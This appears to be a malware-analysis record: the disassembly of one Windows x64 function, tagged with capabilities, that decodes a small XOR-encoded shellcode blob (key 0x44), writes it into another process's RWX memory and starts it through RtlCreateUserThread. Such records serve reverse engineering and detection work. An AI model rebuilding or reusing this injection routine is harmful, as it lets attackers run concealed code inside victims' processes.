Function at 0x140007e50
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Get file size
Read file on windows

Disassembly:
push rbp
push rdi
push r12
push r13
push r14
sub rsp, 0x1e0
mov rax, qword [0x140040090]
xor rax, rsp
mov qword [rsp + 0x1a0], rax
mov rax, qword gs:[0x58]
mov rbp, rcx
mov ecx, 4
mov dword [rsp + 0x54], r9d
mov dword [rsp + 0x50], r8d
mov r10, qword [rax]
mov qword [rsp + 0x58], rdx
mov eax, dword [rcx + r10]
cmp dword [0x140042af0], eax
jle 0x140007ee6
lea rcx, [0x140042af0]
call fcn.14000b7c8
cmp dword [0x140042af0], 0xffffffff
jne 0x140007ee6
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.RtlCreateUserThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, [0x140042af0]
mov qword [0x140042af8], rax
call fcn.14000b768
mov rbp, qword [rbp + 0x30]
xor eax, eax
cmp qword [0x140042af8], rax
mov r14d, eax
mov qword [rsp + 0x68], rax
mov r13d, eax
mov qword [rsp + 0x70], rax
mov r12d, eax
lea edi, [rax + 1]
mov qword [rsp + 0x78], rax
mov qword [rsp + 0x60], rax
je 0x1400082ce
cmp rbp, 0xffffffffffffffff
je 0x1400082ce
mov qword [rsp + 0x1d8], rbx
lea r9, [rsp + 0x80]
mov qword [rsp + 0x1d0], rsi
lea r8, [rsp + 0x90]
mov qword [rsp + 0x1c8], r15
xor edx, edx
mov rcx, rbp
mov dword [rsp + 0x84], eax
mov r15d, eax
mov dword [rsp + 0x80], 0x104
or rsi, 0xffffffffffffffff
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_QueryFullProcessImageNameA]
test eax, eax
je 0x140008034
xor eax, eax
lea rcx, [rsp + 0x90]
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov dword [rsp + 0x28], eax
xor r8d, r8d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
test rax, rax
je 0x140008059
cmp rax, 0xffffffffffffffff
je 0x140008034
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edx, eax
xor ecx, ecx
lea r9d, [rbx + 0x40]
mov r15d, eax
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
je 0x140008034
lea r9, [rsp + 0x84]
mov qword [rsp + 0x20], r12
mov r8d, r15d
mov rdx, rax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x140008034
movsxd rax, dword [rbx + 0x3c]
add rax, rbx
je 0x140008034
cmp dword [rax], 0x4550
jne 0x140008034
movzx ecx, word [rax + 4]
mov eax, 0x8664
cmp cx, ax
je 0x140008031
mov eax, 0x200
cmp cx, ax
je 0x140008031
mov eax, 0x14c
jmp 0x140008034
mov r14d, edi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test rbx, rbx
je 0x140008054
mov edx, r15d
mov r8d, 0x4000
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_VirtualFree]
test r14d, r14d
jne 0x140008060
xor edi, edi
jmp 0x140008268
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rcx, rbp
lea r8d, [rdx + 0x3b]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
test rax, rax
jne 0x14000808c
xor edi, edi
jmp 0x140008268
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rcx, rbp
lea r8d, [rdx + 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
test rax, rax
jne 0x1400080b8
xor edi, edi
jmp 0x140008268
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.NtSetInformationObject
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x78], rax
test rax, rax
jne 0x1400080e6
xor edi, edi
jmp 0x140008268
mov rax, qword [rsp + 0x58]
lea r14, str._flK
mov qword [rsp + 0x68], rax
xor esi, esi
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x70], eax
mov eax, dword [rsp + 0x54]
mov dword [rsp + 0x74], eax
mov eax, esi
movaps xmmword [rsp + 0x1b0], xmm6
movdqa xmm6, xmmword [str.DDDDDDDDDDDDDDDD]
nop dword [rax + rax]
movdqu xmm0, xmmword [rax + r14]
movdqa xmm1, xmm6
pxor xmm1, xmm0
movdqu xmmword [rax + r14], xmm1
add rax, 0x10
cmp rax, 0x30
jl 0x140008120
mov ebx, 0x30
mov eax, ebx
nop word [rax + rax]
xor byte [rax + r14], 0x44
inc rax
cmp rax, 0x3b
jl 0x140008150
mov r9d, 0x3b
mov qword [rsp + 0x20], rsi
mov r8, r14
mov rdx, r13
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140008226
mov r9d, 0x18
mov qword [rsp + 0x20], rsi
lea r8, [rsp + 0x68]
mov rdx, r12
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140008226
mov rax, rsi
nop word [rax + rax]
movdqu xmm0, xmmword [rax + r14]
movdqa xmm1, xmm6
pxor xmm1, xmm0
movdqu xmmword [rax + r14], xmm1
add rax, 0x10
cmp rax, rbx
jl 0x1400081b0
nop dword [rax]
xor byte [rbx + r14], 0x44
inc rbx
cmp rbx, 0x3b
jl 0x1400081d0
mov qword [rsp + 0x48], rsi
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], r12
xor r8d, r8d
mov qword [rsp + 0x30], r13
xor edx, edx
mov qword [rsp + 0x28], rsi
mov rcx, rbp
mov qword [rsp + 0x20], rsi
call qword [0x140042af8]
test eax, eax
jne 0x14000825e
mov rcx, qword [rsp + 0x60]
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x140008260
mov rax, rsi
nop dword [rax]
movdqu xmm0, xmmword [rax + r14]
pxor xmm0, xmm6
movdqu xmmword [rax + r14], xmm0
add rax, 0x10
cmp rax, rbx
jl 0x140008230
nop dword [rax]
xor byte [rbx + r14], 0x44
inc rbx
cmp rbx, 0x3b
jl 0x140008250
mov edi, esi
movaps xmm6, xmmword [rsp + 0x1b0]
mov rcx, qword [rsp + 0x60]
mov r15, qword [rsp + 0x1c8]
mov rsi, qword [rsp + 0x1d0]
mov rbx, qword [rsp + 0x1d8]
test rcx, rcx
je 0x140008290
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test r13, r13
je 0x1400082ad
mov r9d, 0x8000
mov r8d, 0x3b
mov rdx, r13
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
test r12, r12
je 0x1400082ca
mov r9d, 0x8000
mov r8d, 0x18
mov rdx, r12
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
movzx eax, dil
mov rcx, qword [rsp + 0x1a0]
xor rcx, rsp
call fcn.14000b5d0
add rsp, 0x1e0
pop r14
pop r13
pop r12
pop rdi
pop rbp
ret